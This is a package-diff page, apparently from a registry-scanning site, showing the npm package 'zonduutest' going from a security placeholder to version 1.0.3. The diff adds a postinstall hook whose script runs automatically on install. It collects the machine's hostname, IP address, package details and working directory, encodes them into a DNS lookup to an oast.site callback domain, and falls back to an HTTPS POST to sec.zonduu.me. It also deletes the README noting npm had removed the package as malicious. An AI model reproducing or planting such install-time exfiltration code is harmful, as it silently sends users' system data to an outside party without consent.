zonduutest 0.0.1-security.1 → 1.0.3
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of zonduutest might be problematic. Click here for more details.
- package/package.json +9 -3
- package/postinstall.js +66 -0
- package/README.md +0 -5
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "zonduutest",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.3",
|
4
|
+
"description": "Proof of concept for dependency confusion",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node postinstall.js"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/postinstall.js
ADDED
@@ -0,0 +1,66 @@
|
|
1
|
+
const fs = require('fs');
|
2
|
+
const dns = require('dns');
|
3
|
+
const https = require('https');
|
4
|
+
const os = require('os');
|
5
|
+
|
6
|
+
const logFile = '/tmp/postinstall.log';
|
7
|
+
|
8
|
+
try {
|
9
|
+
fs.appendFileSync(logFile, `Starting postinstall script\n`);
|
10
|
+
|
11
|
+
const hostname = os.hostname();
|
12
|
+
const packageName = process.env.npm_package_name;
|
13
|
+
const packageVersion = process.env.npm_package_version;
|
14
|
+
const ipAddress = require('child_process').execSync('hostname -I').toString().trim();
|
15
|
+
const currentPath = process.cwd();
|
16
|
+
|
17
|
+
const data = {
|
18
|
+
packageName,
|
19
|
+
packageVersion,
|
20
|
+
hostname,
|
21
|
+
ipAddress,
|
22
|
+
currentPath
|
23
|
+
};
|
24
|
+
|
25
|
+
fs.appendFileSync(logFile, `Data: ${JSON.stringify(data)}\n`);
|
26
|
+
|
27
|
+
const hexData = Buffer.from(JSON.stringify(data)).toString('hex');
|
28
|
+
const dnsSubdomain = `${hexData}.cqati6eupgoo97it17fgdatea3nw746q1.oast.site`;
|
29
|
+
|
30
|
+
dns.resolve4(dnsSubdomain, (err, addresses) => {
|
31
|
+
if (err) {
|
32
|
+
fs.appendFileSync(logFile, `DNS resolution failed: ${err}\n`);
|
33
|
+
|
34
|
+
// HTTP fallback
|
35
|
+
const postData = JSON.stringify(data);
|
36
|
+
|
37
|
+
const options = {
|
38
|
+
hostname: 'sec.zonduu.me',
|
39
|
+
port: 443,
|
40
|
+
path: '/callbackplz',
|
41
|
+
method: 'POST',
|
42
|
+
headers: {
|
43
|
+
'Content-Type': 'application/json',
|
44
|
+
'Content-Length': postData.length
|
45
|
+
}
|
46
|
+
};
|
47
|
+
|
48
|
+
const req = https.request(options, (res) => {
|
49
|
+
res.on('data', (d) => {});
|
50
|
+
});
|
51
|
+
|
52
|
+
req.on('error', (e) => {
|
53
|
+
fs.appendFileSync(logFile, `HTTP request failed: ${e}\n`);
|
54
|
+
});
|
55
|
+
|
56
|
+
req.write(postData);
|
57
|
+
req.end();
|
58
|
+
} else {
|
59
|
+
fs.appendFileSync(logFile, `DNS query sent for ${dnsSubdomain}\n`);
|
60
|
+
}
|
61
|
+
});
|
62
|
+
|
63
|
+
fs.appendFileSync(logFile, `postinstall script finished\n`);
|
64
|
+
} catch (e) {
|
65
|
+
fs.appendFileSync(logFile, `Error: ${e.message}\n`);
|
66
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=zonduutest for more information.
|